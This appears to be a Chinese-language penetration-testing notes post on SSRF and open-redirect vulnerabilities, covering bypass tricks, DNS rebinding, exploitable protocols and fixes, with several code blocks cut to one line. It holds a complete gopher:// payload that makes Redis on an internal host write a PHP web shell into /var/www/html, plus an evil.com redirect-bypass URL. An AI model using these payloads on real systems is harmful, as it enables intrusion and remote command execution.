前言
ssrf
导致ssrf的原因
一般为内部服务相外发送请求,如构造请求,302跳转
相关函数
php
1 | file_put_contents($filename,$content);//读取文件 |
java
java中的SSRF不像PHP中那样灵活,利用起来相对的局限比较大
1 | //使用Java原生的HttpUrlConnection用来发送Http请求,请求的url来自用户输入,则该处存在SSRF漏洞 |
ssrf绕过
http的省略
Location: //baidu.com/
//开头的host,浏览器默认会用当前协议去重定向,即可造成任意302跳转问题
更改IP地址写法
127.0.0.1的不同进制
1 | //十六进制 |
地址转换工具:http://www.msxindl.com/tools/ip/ip_num.asp
302跳转
还可以自己搭网站
1 |
|
访问这个网站就会跳转到127.0.0.1
域名解析
把自己的域名A记录设为了127.0.0.1
现成的: http://sudo.cc
有一个网站地址是:xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:
当我们访问:http://10.0.0.3 foo.bar.127.0.0.1.xip.io/1.php,实际上访问的是http://127.0.0.1/1.php。
DNS 重绑
编写dns服务,当我们发起域名解析请求的时候,第一次访问会返回一个ip地址A,但是当我们发起第二次域名解析请求的时候,却会返回一个不同于A的ip地址B。https://lock.cmpxchg8b.com/rebinder.html
http://ceye.io/dns-rebinding
Linux dns默认不缓存,windows and mac,为了加快http访问速度,系统会进行DNS缓存,Java 应用的默认 TTL 为10s,这个默认配置会导致 DNS Rebinding 绕过失败
如何防止DNS重绑定攻击
1.更改路由器的配置,过滤DNS响应中的私有IP范围等可疑IP地址。
2.内部的网络设备应该验证其自己的主机是否与所请求的主机匹配。如HTTP服务器添加“主机”标头验证。(Web服务器应验证所请求的Host标头是否与其预期值完全匹配,如果不满足,则使用403 Forbidden HTTP状态代码进行响应)。
3.使用HTTPS而不是HTTP,使用HTTPS时,由于存在证书验证机制,浏览器会验证与目标服务器的身份是否匹配
利用url解析规则绕过
URL的完整格式是[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
1 | $x=parse_url($url); |
利用函数的解析不同进行绕过
暂时不想写,网上都有
ssrf常见利用
协议
phar:// #触发phar反序列化
file:// #读文件
disk://
gopher:// #内网渗透常用
Gopher 协议的语法格式如下:gopher://<host>:<port>/<gopher-path>_后面接 TCP 数据流
1 | gopher://10.10.5.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
gopher协议在各个语言中的限制
PHP php版本至少为5.3
Java 小于JDK1.7
修复
可以采取白名单,限制内网Ip。
禁止30x跳转
对返回内容进行识别
禁用一些不必要的协议
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态
url跳转漏洞
一般在用户访问到需要登录才能使用的功能时,或者像是sso统一认证时,为了保障用户的使用体验,有可能会使用想是redirect
的参数记录用户的来的登录页面的refer,当登录成功时,就会跳转页面到之前的页面
使用场景
跳转目录的
如:
https://xx.xxx.com.cn/?redirect=/user/info.php
修改为
https://xx.xxx.com.cn/?redirect=@www.baidu.com
url跳转的实现
1 | 1.META标签内跳转 |
url跳转漏洞利用方法
钓鱼:利用源码小偷制作钓鱼网站
配合xss漏洞:xss执行js脚本
配合csrf漏洞:配合csrf操作危险请求
绕过 illegal url redirect
一般的防御方法就是加一个跳转页面或者白名单
1 | http://www.aaa.com?returnUrl=http://www.evil.com/www.aaa.com |